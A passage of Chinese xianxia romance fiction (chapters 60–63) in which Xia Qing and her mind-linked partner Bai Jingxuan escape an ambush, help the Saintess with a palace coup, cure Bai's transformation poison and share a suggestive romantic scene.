如此下去也不是办法,一切相处问题解决途径只有一个:沟通。 夏清低头琢磨着,坦白自己内心真实的想法:“我没有不开心,只是我们刚刚缔结契约,我脑海中每一个念头你都能知晓,这让我……很有压力。” “清儿不想让我知道你心里的想法?”白镜玄若有所思。 夏清:“……” 总觉得越描越黑,越说就越不可见人。 夏清叹了口气,还是让大脑继续放空比较好。 白镜玄许久没有听到夏清回应,嘴上不说,心里也不想,空空寂寂。 她也跟着沉默。 阴差阳错缔结了伴侣契约,好像并没有让她们的情感关系更上一层楼,反而让夏清因此感受到强烈的束缚。 “我明白了。”白镜玄突然开口。 夏清缓了一瞬才注意到她的声音,遂问:“什么?” 识海中,似响起白镜玄一声叹息。 这叹息声,闹得夏清有点心慌。 随即,便听白镜玄说道:“我在契约上加一层禁制,若清儿不想让我知晓你心中所想,我不听便是了,清儿莫要不开心。” 夏清:“……” 嗨呀,这受伤的语气,这退让的言语,说得好像她特别无理取闹。 都是成年人,有那么点个人隐私没什么大不了吧? 她都没有追问白镜玄的桃花史,给白镜玄留够了空间,怎么她想保持一点安全距离,保留一些些自己的秘密,很过分吗? 结了契约,她们都已经是老天奶盖章的伴侣了,她心不心动,喜不喜欢,白镜玄听不见吗?! 一连串失控的心声砸进白镜玄识海,砸得她一愣一愣的。 良久,待夏清心里怨念稍稍平复,白镜玄才敢开口:“……清儿。” 夏清态度不善地回嘴:“怎么?” 白镜玄小心翼翼地* 开口:“你可以有自己的秘密,你不想让我知道的,都会被禁制拦下来,不会叫我听见。” 没等夏清发火,白镜玄又说:“我只是希望……你不要什么都不想。” “我希望清儿心里,多一些我。”白镜玄语气温温柔柔的,“像刚才那样碎碎念也可以,我喜欢听清儿的声音。” 已经冲到脑门的怒气被迎面一团散雪给扑灭了。 夏清词穷,撇撇嘴,理亏但狡辩:“我也没有不想你啊。” 同时,脑海中对白镜玄说的禁制将信将疑:这禁制是什么神奇功能,真能过滤秘密? 夏清好死不死,试探着从脑海中挖出一个秘密。 这个秘密闪过脑海,碰到契约符印,果然被拦下来。 没有通过元神传送出去的内容,会产生一个细微反馈让夏清知晓。 虽然夏清说不清原理,但她的确感受到禁制生效,白镜玄承诺的功能竟然真的实现了。 好好好,法术啊,禁制啊,了不起,是仙界的高科技。 夏清的心情顿时放松下来。 只要可以保留秘密,她就没有性命之忧,旁的碎碎念,给白镜玄听到也没有关系。 诶,夏清脑子转了转。 刚才那一句,会被禁制判定为秘密吗? 好像是,她感受到了禁制的反馈,没有发送出去。 夏清紧绷的心神更加放松。 接下来一段时间,夏清开始实验哪些内容会被禁制过滤。 她天马行空地在心里描绘了很多东西。 比如,她穿越到紫霄峰那一晚夜里明亮的月亮。 再比如,白镜玄实实在在长在她的审美点上,满足她对禁欲系美人的所有幻想。 夏清脑海中浮现出白镜玄出尘的气质,不老的容颜,漂亮的锁骨,完美的腰线,和那一双虽然凉薄,但足够性感的嘴唇。 以及……她对白镜玄无法压制的狂热占有欲。 等等,最后两句怎么好像没有被禁制拦截? 这念头一闪而过,夏清懵逼。 与此同时,她脑海中浮现白镜玄的声音。 带着浅浅笑意,慵懒,性感,且暧昧。 “那清儿……打算什么时候占有我?” 第60章 第六十章 瞎撩人的某只雪貂被夏清施以惩戒。 她将那貂儿拢在怀里, 上上下下瞎摸一气,直摸到小貂儿软乎乎的身子蜷成一团。 脑海中白镜玄的笑声中间或夹着一两声喘息。 太怪了,夏清实在听不下去, 这才罢手。 白镜玄选择的锚点位置夏清还有印象, 沿途原路返回。 途经荒城时, 她用面具遮掩气息, 伪装成过路小妖,给了一笔高价过路费。 有之前的买路经验, 入城之后,夏清愈发小心,生怕引起旁人注意, 再惹来那蛇妖仇杀。 可刚进城不久, 夏清便感觉有人跟踪。 她想回头确认时,脑海中响起白镜玄的声音:“别回头,继续走。” 夏清心头一凛, 便知自己预感成真。 也不知道这些人什么来头,跟踪她又有何目的。 一边按捺着探究心继续往前走,她一边通过心声询问白镜玄:是蛇妖派来的人吗? “不像。”白镜玄的回答出乎夏清意料。 正疑惑,便听白镜玄补充说道, “感觉像魔族。” 魔族! 北门的确隶属于魔族,准确说应该是半魔。 但这些半魔与她远日无怨,近日无仇,为何偷偷跟踪? 难道…… 夏清回想近来与魔族的接触, 只有兽人族的圣城和上次荒古遗迹中的遭遇。 那魔人突然出现偷袭,若不是白镜玄有短暂恢复部分实力的法门, 指不定就被杀死了。 夏清猜到对方不会善罢甘休,但也不曾想它会在荒古遗迹之中出手。 料不定这些半魔意欲如何, 夏清装作不察,继续往西门方向走。 行至一僻静无人之地时,白镜玄借夏清法力幻化人形,施展空间传送之术,悄无声息离开荒城。 跟踪至巷末的半魔惊觉人已跟丢,再找已不见夏清踪迹,顿时惊慌失措。 短暂镇定之后,它撤离陋巷,回去复命领罪。 虚空波动,白镜玄抱着夏清凭空出现在圣城外的郊野。 夏清见状龇牙咧嘴:“早知如此,你带着我赶路不就成了?” 她与柳菡云走了两个多月的路程,白镜玄只施展了两次空间腾挪之术,便抵达终点。 白白浪费那么多时间,途中还经历了数不尽的辛苦,说起来便是一捧辛酸泪。 白镜玄垂眸,视线与夏清交错而过,避开了夏清的目光:“若我带你赶路,省去这部分历练旅途,你的修为又如何才能更上一层楼?” 她在说这话的时候,夏清脑海中同时响起另一道声音:好不容易才与清儿见面,我们相处的时间太短,若不是异化之身委实不便,我还嫌这趟旅行去得不够远。 夏清乐了,伸手点中白镜玄的心口,问她:“你的嘴和你的心,我该信哪一个?” 白镜玄:“……” 她难得脸红了,耳根一抹薄粉蔓延到脸颊,令她仙气飘飘的气质沾染了两分尘世烟火的气息。 于是下一秒,白镜玄凭空消失,幻化为小雪貂,跳进夏清的臂弯里。 夏清忍俊不禁,眉目含笑地弯起眼角。 她摸着小貂儿的脑袋走向圣城,这回守城的兽卫已认识她了,验过夏清的腰牌和信物便放她通行。 进城后,夏清循着记忆中的地图寻找圣宫。 在兽城宽阔的街道上行走,不知怎的,夏清隐隐感觉有些不对劲。 她的视线左右逡巡,发现街道上人烟稀少,挂在街头檐角用于庆祝兽人大典的红灯笼破落了也无人修补。 “怎么回事?”她摸摸雪貂背上的皮毛,在心里询问,“我怎么感觉城里气氛怪怪的?” 片刻后,白镜玄回答她:“的确古怪,可能出了什么事情。” 夏清视线从破损的灯笼收回来,猜测道:“与兽人大典有关?” 白镜玄亦不好断言,遂应:“去问问女皇,自见分晓。” “也对。” 夏清不再追问,一路畅行无阻来到圣宫。 早有兽卫将消息传向圣殿,夏清刚到圣宫门口,便有侍女在此等候,引夏清去女皇书房拜见。 圣宫内景象倒还与她离开时一样,不像城内气氛那么古怪,但也能感觉到宫里的兽卫态度紧张。 夏清从他们身边经过时,这些兽卫眼神探究,探照灯似的扫来扫去。 肯定发生了什么事情。 夏清琢磨着。 不多时,夏清抵达女皇书房。 侍女侧身让夏清独自进入书房,而她自己则在门外候命。 夏清向她道过谢,欲往房间中去。 便在此时,脑海中忽然响起白镜玄的提醒:“里面有埋伏!” 夏清前脚刚抬起来,还未落地,心头一惊便下意识用抬起来那只脚踹向身前的门槛。 噔—— 夏清抽身飞退,刚才引她入院的侍女竟突然从袖口中取出一把匕首,反手一刀向她刺来。 这一击夏清避无可避,她虽然已经尽可能侧转身子闪躲,却仍然没能完全躲开,被锋利的刃口划破胳臂。 鲜血洇染开来,霎时染红衣袖。 不等小雪貂炸毛,夏清手掌一翻,比人还高的大鼎凭空出现,用力一甩便砸在那侍女身上。 侍女不查,匆忙间两条胳臂交错抵挡,却只觉撞上一面坚不可摧的铜墙。 巨力势如破竹挤压她的胳臂,只听得耳边响起咔嚓脆鸣,她两臂骨骼震碎,铜鼎砸中她的胸口,她没有丝毫反抗的余地便被掀飞开去,于空中滑行数丈,再轰隆一声砸烂书房的窗。 身后院门口已然合上,身前书房房门大开,几名全副武装的兽侍鱼贯而出,将夏清团团包围。 但夏清单手举着一只巨鼎,声势骇人,见识过巨鼎之威的兽侍们封死她前后左右所有可移动的方位,却不敢贸然上前同她以命相搏。 夏清冷眼从这些陌生面孔上扫过,沉声:“把你们主子叫来!” 众兽侍彼此对视一眼,但没有人行动。 夏清身后,一名兽侍趁夏清不备,突然上前偷袭。 下一秒,咚的一声闷响,他的身体倒飞出去。 夏清手中的大鼎转了方向,但她仍保持背对此人的姿势,就如同后背上也长了眼睛。 见此情形,兽侍头领脸色愈发难看。 这人类仙师不是只会占卜,没有多高的战斗力,可此时她手里托着大鼎,左舞右挥又是怎么回事?! 他们的情报有误! “不想交涉是吧?”夏清放弃与这些人交涉,手里大鼎一抡。 既然不讲道理,那就手底下见真章。 夏清动手,大鼎随便朝着某个方向一挥。 兽侍不敢硬接,纷纷向两侧闪躲,但因为布阵站位的缘故,有人退避不及,被大鼎擦到,当即跌的跌,倒的倒。 而夏清则趁着当中破开缝隙,从兽侍群中穿过。 青铜大鼎往回一拉,反向再冲进人群,兽侍们刚站稳准备追击,大鼎又迎面飞来,他们不得不往另一个方向退。 一来一回之间,夏清已经跳上屋顶。 她心念一动,抬眸看向圣坛所在,没有丝毫犹豫,召回福生鼎便朝圣坛方向摸过去。 宫中兽侍失手,连装也不装了,派出数不清的兽侍围剿夏清。 整个圣宫中响起“有刺客”的叫喊声,一队又一队兽侍将圣宫严密封锁,一只苍蝇也不能放出去。 “要不换我来吧?”夏清脑海中,响起白镜玄的声音。 若让白镜玄幻化人形施展空间传送之术,逃离圣宫不过分分钟的事情。 不料,夏清却摇了摇头:“这点小场面,我应付得来。” 她不希望白镜玄中毒异化的事情被太多人知晓,眼下圣宫中明显出现了不明变故,敌我关系不甚明确,白镜玄幻化人形的大招还是留到必要时刻再用。 夏清的心里活动通过元神传递到另一端,白镜玄原本担忧的心情放松下来。 这伴侣契约倒也便利。夏清心想,虽然容易走漏心声,但也省去了许多需要耗费时间解释的事情,令她和白镜玄之间的合作变得愈发默契。 夏清正寻找通往圣坛的道路,躲避兽侍搜查的同时,在建筑与建筑之间小心腾挪。 白镜玄忽然在她心底冒出一句:“你心里从来不叫我卿卿。” 夏清正从一个屋顶跳到另一个屋顶,骤闻此言差点从空中摔下去。 落地没有站稳,脚下卡吧一声,几片琉璃瓦被她砸得稀碎,瓦片从屋顶滑落砸到地上发出巨大声响,引来了一大批兽侍。 “!”夏清倒吸一口气,迅速起身逃跑,脸上五官皱成一团,“这种细节等我们脱险之后再聊行不行?!” 被狠狠怼了,白镜玄乖乖噤声。 好在夏清已经来到群宫外围,趁着兽侍包上来之前,她从高墙上一跃而下,给自己双腿施加一道疾行咒,以百米冲刺的速度跑出三公里,成功抵达圣坛。 圣坛外围也有兽侍看守,夏清现身引起圣坛兽侍们注意,立即一道人墙将她拦截。 身后还有追兵,夏清大声说道:“我是夏清,来找圣女!” 兽侍们彼此对视一眼,眼神充满审视的意味。 夏清心中惴惴。 倘若圣坛也已沦陷,那一场苦战恐怕不能避免。 便在这时,圣坛上空飘来一道仙乐般的声音:“让她进来。” 兽侍立即后撤一步,让开一条通道放夏清通行。 夏清长出一口气,虽然情况紧急,但她好歹赌对了。 圣宫中不知出了何等变故,好在这火还没有完全烧到圣坛,局势便尚有转圜之机。 夏清踏上圣坛,通向地底的道路旋转着打开。 她抱着小雪貂一跃而下。 落地,昏暗的洞窟内忽然亮起一束白光。 光秃秃的四壁在荡漾的水波中,渐渐呈现出另一番风景。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 60-70 第61章 第六十一章 祭坛下别有洞天, 夏清抬眼四顾,率先撞入眼帘的是一棵巨大的梧桐树。 那大树生长得异常繁茂,枝叶遮天, 脚下碧绿的草地及树后一汪平静的湖面上都铺了厚厚一层梧桐叶。 几个小房子散落在树冠内枝叶间, 夏清正愣神, 便有一雀族翼人从梧桐树枝头跃下, 挥舞着翅膀降落在夏清面前:“夏仙师,圣女有请。” 原来这圣坛底下根本不是囚笼, 而是一座世外桃源。 夏清跟着引路雀人走向湖边的梧桐树,踏着树身外侧交错的木梯走到树冠上去,来到最高处那间木屋。 木屋前有个不大的平台, 房门两侧翼人背着长弓静守。 夏清踏上最后一级台阶, 屋子里又传出人声:“仙师请进。” 房门边两名翼人目不斜视,放夏清进屋。 夏清略一沉吟,随即抱着小雪貂走进木屋之中。 屋子里的陈设十分简洁, 丝毫没有圣宫中的富丽堂皇,只靠墙立着一张床和一副桌椅,床边放着个储物用的大箱子。 夏清停下脚步。 因为她看清床上躺着的人。 是兽人女皇。 一席朱色裙袍的圣女守在床边,不等夏清开口询问, 她便叹息一声,娓娓道清始末。 原来,两个多月以前,夏清带着中毒异化的祭司离开不久, 圣宫朝会上就圣坛由何人接手这个问题爆发了冲突。 一部分兽臣不满女皇私自解除与朱雀的契约,借机弹劾女皇, 认为女皇的决断不利兽人族的发展。 几名皇室宗亲蠢蠢欲动,一边在圣城中散播不利于女皇的言论, 一边私下拉帮结派,等到舆论发酵,在兽人大典那一天彻底爆发。 兽人大典本该是兽人族普天同庆的盛宴,不料却成了百姓反逆之心的温床,成为宗亲兽臣攻讦女皇的利器。 这场兽人大典没能进行到最后便被迫中断,紧急回宫途中,女皇遭遇神秘刺客暗杀。 因为圣女及时出手,化身朱雀盘旋于圣城上空,方镇压暴乱的兽人族百姓。 这些百姓看到天空中朱雀真容,竟纷纷停止暴行,跪地忏悔。 掀起事端的兽臣与宗亲见势不妙纷纷撤退,圣女于是带着受伤的女皇回到圣坛。 彼时兽人女皇身受重伤性命垂危,时至今日仍昏迷在床,不知何时醒来。 那日之后,圣女便将圣坛封锁,皇室宗亲惧怕朱雀的威能,不敢贸然来犯,局势僵持至今。 期间,也有几名使臣来向圣女求和,承诺只要圣女交出兽人女皇,他们绝不为难,允许朱雀离开圣城。 “可笑之至!”彼时,圣女唇边掀起一抹弧度,面露冷笑,“四神兽与兽人族契约已解,我想留就留,想走就走,凭你们也想阻拦我?!” 皇室宗亲派来的使臣尴尬退走,之后好长一段时间没有来犯。 但圣女知道,他们必定不会轻易罢手。 她以鸟兽为耳目,自然知晓近来圣城中来了许多不速之客。 “圣宫已被狮人族几个宗亲占据,他们不知道女皇的伤势如何,也不敢贸然称帝,还需给自己找一个冠冕堂皇的理由才行。” 圣女看着床榻上神容憔悴的兽人女皇,咬牙叹息。 “这些所谓的皇室宗亲,以失去朱雀助力,兽人族就将面临外族觊觎的危机为借口暗中勾结各方势力谋划夺权,他们这种自私自利鼠目寸光的行径,才会招致兽人族的毁灭!” 夏清听到此处,眉头皱得死紧。 “你说他们勾结各方势力,这其中,可有魔族?” 圣女闻言颇为诧异,扭头看一眼夏清:“夏仙师已有遭遇?” “……”好家伙,果然如此。 圣女摊开手掌,掌中凭空出现一份折叠平整的羊皮纸。 “这是我这段时间收集的情报。”圣女将羊皮纸扔给夏清,同时说道,“琳琅姐姐昏迷未醒,我不敢离开半步,可若继续这样下去,圣宫恐怕就要分崩离析。” 夏清翻开羊皮纸,看看里面写了些什么。 小雪貂从夏清怀里探出脑袋,就着夏清双手也往那羊皮纸上看。 不光挑起事端的兽臣和宗亲被一一记录在册,就连他们所勾结的势力和暗中落脚的地点也都罗列其中,魔族和妖族皆赫然在目。 实在是太多了,短短两个月,原本祥和繁华的圣城就乱成了一锅粥。 如圣女所言,任由局势如此发展,不出一个月,圣城内就要爆发战争。 这些打着保护兽人子民旗号的宗亲们,为了壮大个人势力已经不择手段,殊不知借助外部的力量引发内战,根本就是与虎谋皮。 圣女的暗示已经足够明显,夏清合上羊皮纸,抬眸看向她:“你想让我做什么?” “夏仙师是聪明人。”圣女缓缓说道,“应该已经明白了我的意思。” 虽然是赞赏的语气,但夏清听得并不开心。 甚至她心头呵一声冷笑:真是刚出虎穴,又入狼窝。 她扬起眉毛,对圣女的主意嗤之以鼻:“根本问题不解决,这些人就算杀了一波还能有下一波,就算你想让我给你当杀手,总也要这活儿有盼头。” 圣女闻言,皱起眉头。 良久,她态度放缓:“夏仙师还有别的法子?” “我没有。”夏清回答她,“但你可以寄希望于你们兽人族的祭司。” 她将怀里的小貂儿拎起来,同时取出一枚小瓶子:“荒古奇兽之血我已经拿到了,解开她身上的毒,我想,她应该会有办法。” 圣女的目光落在小貂儿身上,又转而看向她手中的小瓷瓶,平静的双眼中倏地绽开一抹惊讶。 夏清不提,她都快忘记了这件事。 这两个月发生了太多变故,一件接一件忙得她无暇他顾。 此时她才突然意识到,祭司跟随夏清一同离开圣宫,已经过去很久了。 “好。”圣女一口答应夏清的提议。 她让门外的雀族兽人将先前备好的解毒材料全部送到木屋,随后便当着夏清和小貂儿的面调制异化毒素的解药。 那解药中,不仅加入荒古奇兽之血,还兑入了梧桐根茎的汁液和朱雀翎羽燃烧后的灰烬。 圣女将这一小杯颜色诡异的液体递给夏清,夏清将其接过,隔着几尺距离便闻到一股奇怪的味道。 这药当真能喝? 白镜玄:“……” 能不能喝都得试一试,彼此利益相关,圣女没有理由如此大费周章地坑骗夏清。 夏清正待将那小杯子递到小貂儿嘴边,忽然貂儿咬住她的手腕。 她手一抖,杯子从指间松脱,直直坠向地面。 但在落地摔碎之前,又被一只手轻盈地捞起来。 夏清一个踉跄,身影摇晃间,白镜玄眼疾手快搂住她的腰身,并顺手将手中的玉杯放到桌上。 杯中已空空如也,古怪的解毒药被白镜玄一口饮下,面不改色地咽下去。 见白镜玄现身,圣女眼前一亮:“祭司姐姐。” 可随即,她便看见白镜玄搂在夏清腰间的胳臂,眼底有莹润的辉光闪烁,若有所思。 比起圣女的反应,夏清更在意解药是否真的有用,因为注意力全在白镜玄身上,反倒忘记了她们如此暧昧的姿态在外人面前还是头一遭。 夏清问道:“怎么样,有效吗?” 白镜玄略略沉吟,感受解药被炼化之后产生的药性。 良久,方点了点头:“异化之毒已解。” 解药很快生效,白镜玄头上顶的那对兽耳也随着药效作用消失了。 夏清提起的心终于落下,为这事儿她内心负疚了足足两个多月。 白镜玄体内奇毒已解,虽然日后看不到兽耳多少有些遗憾,但相比之下,更多还是解脱。 夏清由衷喜悦:“太好了。” 她这边话音刚刚落下,另一侧圣女却道:“毒素虽然解除,但已经异化的血脉无法恢复,应该还会有一些小毛病残留。” 夏清一惊,追问:“什么小毛病?!” 这突如其来的转折让夏清心里又沉下去,没想到解了毒之后还有后遗症。 难不成这后遗症会伴随白镜玄终身? 那可咋整啊。 夏清扭头看向白镜玄,握住白镜玄的手,神色忧虑:“你有没有哪里不舒服?” 白镜玄摇了摇头,不大明白圣女所说的小毛病是什么。 她没感觉自己的身体有什么问题。 “应当无碍。”白镜玄告诉夏清,让夏清放宽心。 再者说,即便还有什么毛病,待回到仙界天地灵气充裕的地方,一切迎刃而解。 然而,她这话刚刚说完,夏清突然“啊”一声。 白镜玄问她:“怎么了?” 夏清眨了眨眼睛,伸手捏住她的耳朵。 不是颊边,而是脑袋上。 “又长出来了。” 白镜玄:“……” 第62章 第六十二章 清寒疏冷的美人头上顶着一对兽耳, 圆圆的形状,铺一层雪白柔软的毛发,从搭配来看多少有些古怪, 可落在夏清双眼中, 又没有半分违和。 或许是因为人长得过分好看, 所以不管怎么搭配都是一道靓丽的风景。 夏清出于对后遗症的好奇, 逮着白镜玄的耳朵捏了又捏,直至白镜玄脸泛薄红, 微颤着眼睫意欲躲闪。 “咳。”身侧传来一声突兀的轻咳。 夏清回过神来,意识到屋子里还有旁人,她这样肆无忌惮捏白镜玄的耳朵, 委实不妥。 她尴尬地收回手, 转移视线,将话题拉回刚才讨论的内容,询问圣女:“祭司大人这后遗症严不严重?以后一直这样吗?” 如果耳朵的形态可以控制就好了。夏清心想, 还有尾巴。 这念头浮现脑海,她便下意识在意念中勾勒白镜玄衣衫半解,头顶兽耳,腿缠貂尾的样子。 画面实在太过限制级, 夏清光是想一想都感觉太涩了。 啊,她怎么可以这么下流,这么低俗,这么不要脸。 但是, 多来点儿。 “异化血脉无法恢复,只能压制。”圣女的声音打断夏清臆想。 夏清脱口而出:“那太好了!” 说完她就意识到不对劲。 迎上圣女和白镜玄诧异的眼神, 夏清心里有鬼,尴尬摆手:“我的意思是, 这对兽耳还挺可爱的……” 不管她怎么说,这句话歧义含量超标,夏清的解释单薄无力,干脆摆烂放弃。 你们爱咋想咋想吧。 好在圣女和白镜玄都没有继续纠缠,圣女视线从夏清身上转开,看向白镜玄:“祭司姐姐,你可有办法解圣城之危?” 白镜玄回答:“摆坛祭天,让女皇当众苏醒过来,昭告天下,女皇乃天命所归之人,各方谣言不攻自破。” “这主意好啊!”夏清一拍手,颇为佩服,“不愧是祭司大人!” 得了夏清称赞,白镜玄淡淡睨她一眼,面上神情没有太多变化,但唇角掀起的弧度似乎更高了些。 圣女自然也知道这是个好法子,可是…… “女皇伤重至此,如何醒来?” 不等白镜玄回答,夏清已代她开口:“听祭司的就对了,她说能醒就一定能醒。” 说完,她抬了抬下巴,朝白镜玄确认:“需要准备什么些东西?” “无需太过繁杂,只要以你朱雀之力,将消息送到圣城各个角落,召集天下百姓前来旁观祭礼。”白镜玄有条不紊地回答,“彼时我便在坛下施法,令女皇苏醒,若那些皇族宗亲有甚异动,就交给圣女与清……咳,夏仙师。” 夏清听完这个主意的完整步骤,心下好笑,暗道:原来你也会弄虚作假。 须臾间,心底另一个的声音响起来:“这叫随机应变。” 夏清才懒得和白镜玄争辩。 圣女沉吟许久,最终做下决断:“就按祭司姐姐说的办。” 末了,她安排人手带夏清和白镜玄去客房休息,并嘱咐待一切准备妥当,再来叨扰。 雀族兽人带着夏清二人离开梧桐主枝,到次一级枝干末端,茂密的梧桐树叶所遮挡的几间木屋。 “这里就是客房,都是空的,二位可随意挑选。” 夏清看一眼散落在枝梢间的几间木屋,又瞧瞧人前不怎么说话的白镜玄,心头对白镜玄恢复人身之后,她就不能再抱着小雪貂睡觉略感遗憾。 但这遗憾也没有持续太久,夏清果断选择了枝梢末端,位置最偏远的那间小屋。 这间小屋旁边还有一间与它相邻,夏清猜想白镜玄应该会选旁边那一间。 反正旅店也住不了几天,等圣城的麻烦解决,她们和柳菡云汇合,也差不多可以回仙界了。 这样想着,夏清大大咧咧回到自己选择的小屋。 前往荒古遗迹寻找奇兽这段时间的经历太坎坷了,每天都在遭遇各种各样的艰险,结仇无数,拢共就没睡几个好觉。 好不容易回到安全的地方,有了短暂的空余时间,白镜玄体内的毒也已经解了,夏清心情大大放松,打算美美睡一觉。 小屋中陈设与其他木屋大差不差,只有几样简单的家具。 夏清并不挑剔,往床上一躺,倒头就睡。 这阵子精神状态过于紧绷,难得身心放松,她几乎脑袋沾着枕头便睡过去。 这一觉不知睡了多久,夏清迷迷糊糊睡醒睁眼时,感觉屋子里灰蒙蒙的,屋外的天光暗了许多。 已经是傍晚了? 夏清脑子里闪过这样的念头,视线渐渐清晰,看清木屋屋顶的结构,回忆起来她在何处下榻。 诶,不过这圣坛下的世外桃源,也有日夜轮转的规则吗? 疑惑划过脑海,没有更细致地去思考,夏清准备起身,却忽然感觉自己身上好像压着什么东西。 低头瞧去,是一条胳臂。 顺着胳臂往上看,是白镜玄侧躺在她身侧。 哦,白镜玄。 等等,白镜玄?! 夏清两眼瞪圆了,看向躺在她身旁的女人。 兽耳被白镜玄法力压制下去,她现在是正常人类的模样,因为躺下休息所以没有绾发,三千青丝柔顺地贴合她的肩颈,再散落在枕头上。 因为她们的身体没有完全贴着,夏清方才都没有第一时间发现白镜玄。 但是,白镜玄不是应该住隔壁吗,怎么出现在这里? 长得漂亮的人,真是连睡觉都赏心悦目。 夏清侧了侧身子,一条胳臂枕在脑袋下面,侧头观赏白镜玄温柔恬静的睡颜。 薄薄的被子被夏清卷走大半,白镜玄几乎完全躺在被子外面,因而她优雅好看的腰线就愈发吸引人的视线。 夏清注意到白镜玄的胳臂。 那条用于封印幻妖的手臂玉质化的部分消失了。 哦,也不是完全消失,而是被白镜玄用法力压制,压缩到只剩左手尾指一个指节大小。 这才是白镜玄真正的实力嘛。 可即便白镜玄如此厉害,竟也无法轻易将这幻妖斩灭,也足可见此妖凶恶,不得不小心提防。 或许是夏清眼神过于灼热,白镜玄眼睫颤了颤,缓缓睁开。 夏清倒也坦荡,没闪躲她的目光。 于是,她们的眼神隔空交汇,一个热烈清朗,另一个慵懒朦胧。 白镜玄唇边扬起浅笑:“清儿醒了?” 她的语调中带着刚醒来时特有的喑哑质感,钩子似的抓挠夏清的心肝。 夏清心虚地转开眼神,暗自嘀咕她怎么这么容易被撩到。 白镜玄随便一句话就能撩拨她的心跳,难道她自己也是个恋爱脑? 诶,不要不要。 她才不要成为恋爱脑。 谈恋爱可以,但也要拿得起,放得下。 天涯何处无芳草,何必单恋一枝花。 这样想着,夏清看向白镜玄雾蒙蒙的双眼:“你怎么睡在这儿?” 白镜玄闻言,反问她:“我若不睡在此处,那清儿以为,我该睡在哪里?” “你……”夏清话没说完,白镜玄抬起胳臂撩了撩头发,似不经意地露出手背上若隐若现的符印。 那是她们的伴侣契约。 夏清语塞。 是哦,白镜玄现在已经是她盖了戳的伴侣,睡在一起天经地义。 夏清脑子宕机片刻,终于又挖出一条正确的理由:“但这是别人的地盘,我们住一屋,是不是影响不好?” 白镜玄面上神情没有太大变化,但夏清却好像看见她眉毛小幅度地耷拉下来。 “对清儿而言,我们的关系是不是很上不得台面?” 先前夏清以外部局势缘由拒绝在人前与她表现熟稔亲密,而今圣城局面动荡不安,兽人大典已成过去,她们的身份显然已不再是矛盾的中心。 连伴侣契约都定下了,夏清却还与她保持鲜明的距离。 白镜玄越想越气。 夏清先被白镜玄反问怼得不知如何开口,下一秒就从白镜玄心底读到这一句。 “……”好像说什么也洗不清她渣女的嫌疑了。 夏清正暗自着急,忽然白镜玄一个翻身,伏* 到夏清身上。 “先前明明还说想占有我。”白镜玄将夏清的胳臂翻过来按在枕头上,“现在为了不单恋我这一枝花,还想保持无伴侣的形象去外面找别的草?” 夏清:“!!!”啊这。 互通心声的弊端这不就显现出来了。 可是为什么这句心声没有被判定成秘密啊?! 白镜玄浓密卷翘的长睫轻轻颤,唇边笑意愈发鲜明,微凉的指尖轻抚夏清脸颊:“三心二意还想当作秘密藏起来,清儿……你到底是什么居心?” 柔软细密的长自字脸颊旁边垂落,碰到夏清的耳朵,酥酥痒痒的。 事已至此。 夏清绝望地闭上眼睛,死猪不怕开水烫:“其实我这个人比较变态,xp有点奇怪,而你太圣洁美丽干净,我怕我低俗的趣味吓到你。” 白镜玄果然愣住,夏清心想她会不会就此退缩,就听对方喃喃疑惑:“xp?是什么?” 夏清:“……” 没想到有朝一日还要向白镜玄解释什么叫xp。 夏清叹了口气,太离谱了,真的抽象。 而且,这一行为本身就足够羞耻。 “就是……” 夏清厚着脸皮撕开脑子里2T黄色废料包,把所有能想到的小众play如数家珍念一遍。 说完,白镜玄果然沉默。 她原本以为白镜玄会就此知难而退。 不料,下一秒,圆圆的耳朵从白镜玄脑袋上冒出来,一条柔软的貂尾在空中摇晃一圈,暧昧挑逗地缠上夏清腰肢。 夏清:“!!!” 尾巴的触感过于微妙,夏清霎时屏住呼吸。 “这样,清儿喜欢吗?” 第63章 第六十三章 夏清没有理由不喜欢。 但真的很奇怪。 这个画面和她今天做过的白日梦真是高度重合, 合理怀疑当时白镜玄就盗听了她的心声。 这念头划过脑海,耳边便传来一声轻笑。 夏清抬眼,对上白镜玄略带柔和笑意的双眼, 从对方的眼神中得到了答案。 啊啊啊啊啊啊!大意了!互通心声是什么世界级bug! 雪貂尾巴纠缠着夏清的腰身, 在她的肌肤上一寸寸捻磨。 “唔……”夏清身子一颤, 敏感地缩了缩腿, 想找机会挣脱压制。 白镜玄哪会让她如意,她故意伏低上身, 让夏清可以看清她的耳朵。 为了让夏清更有被服务的体验,她还心虚求教:“清儿,你喜欢的兽耳娘是什么样子的?” 她没有玩过角色扮演, 不知道怎样表现才算贴合角色。 夏清:“……” 要死了。 卷在腰间那条雪貂尾巴带来的触感过于微妙, 她从来不知道原来她的腰这么敏感。 被轻轻碰一下,就抖个不停。 夏清被迫咬紧嘴唇,因而无法回答白镜玄的问话。 白镜玄居高临夏凝望着她, 见夏清脸颊渐渐泛起薄薄红晕,脑袋执拗地扭向一边,浓密纤长的睫毛激烈颤抖,眼神不由暗了暗。 原来, 只要切中了喜好,清儿也会露出如此羞怯失控的表情。 喜欢毛茸茸的耳朵,也喜欢毛茸茸的尾巴,却唯独没那么喜欢她。 沮丧的念头电光石火之间划过白镜玄的脑海, 又被她很快打消,值此良辰, 不该有任何扫兴的事情干扰她和清儿行伴侣双修之礼。 白镜玄附身,吻住夏清的唇。 夏清已然被笼罩周身的紫藤花香香迷糊了, 本能驱使下,她的双手不自觉攀上白镜玄的腰身,收紧双臂让她们彼此的身体贴得更紧。 这一吻情到深处,缠在夏清腰间的尾巴稍稍放松。 便在此时,夏清突然一个翻身,反过来压在白镜玄身上。 白镜玄长睫微颤,迷蒙双眼向上看,与夏清的目光脉脉纠缠。 “我喜欢毛茸茸的耳朵,也喜欢毛茸茸的尾巴。”夏清伏在白镜玄身上,一只手按住白镜玄手腕,一只手抓住身旁捣怪的尾巴,“但我更喜欢你。” 情之所起,她原本不必特地解释这一句。 这样中途打断白镜玄的兴致,也不知道她会不会不开心。 可不知怎么的,听到白镜玄心声那一刻,夏清被情。欲笼罩的意识稍稍清醒。 她就想此刻告诉白镜玄,让白镜玄安心,别再胡乱猜忌。 白镜玄仰躺在床上,衣衫半解,曲线优雅的脖颈从襟口探出来,她微仰着头,凝望夏清脸庞。 平日里冷淡禁欲的脸庞染上朦胧绯色,雾蒙蒙的双眼深处柔光荡漾。 “清儿当真喜欢我?”白镜玄嗓音喑哑,如同罩了层薄薄的纱,“和我结契成为伴侣,清儿可为此开心?” 说这话时,她脑袋歪歪,头上还顶着一对貂耳。 夏清被可爱暴击,差点就无法呼吸。 这简直犯规! “开心。”夏清如实回答。 怎么会不开心呢。 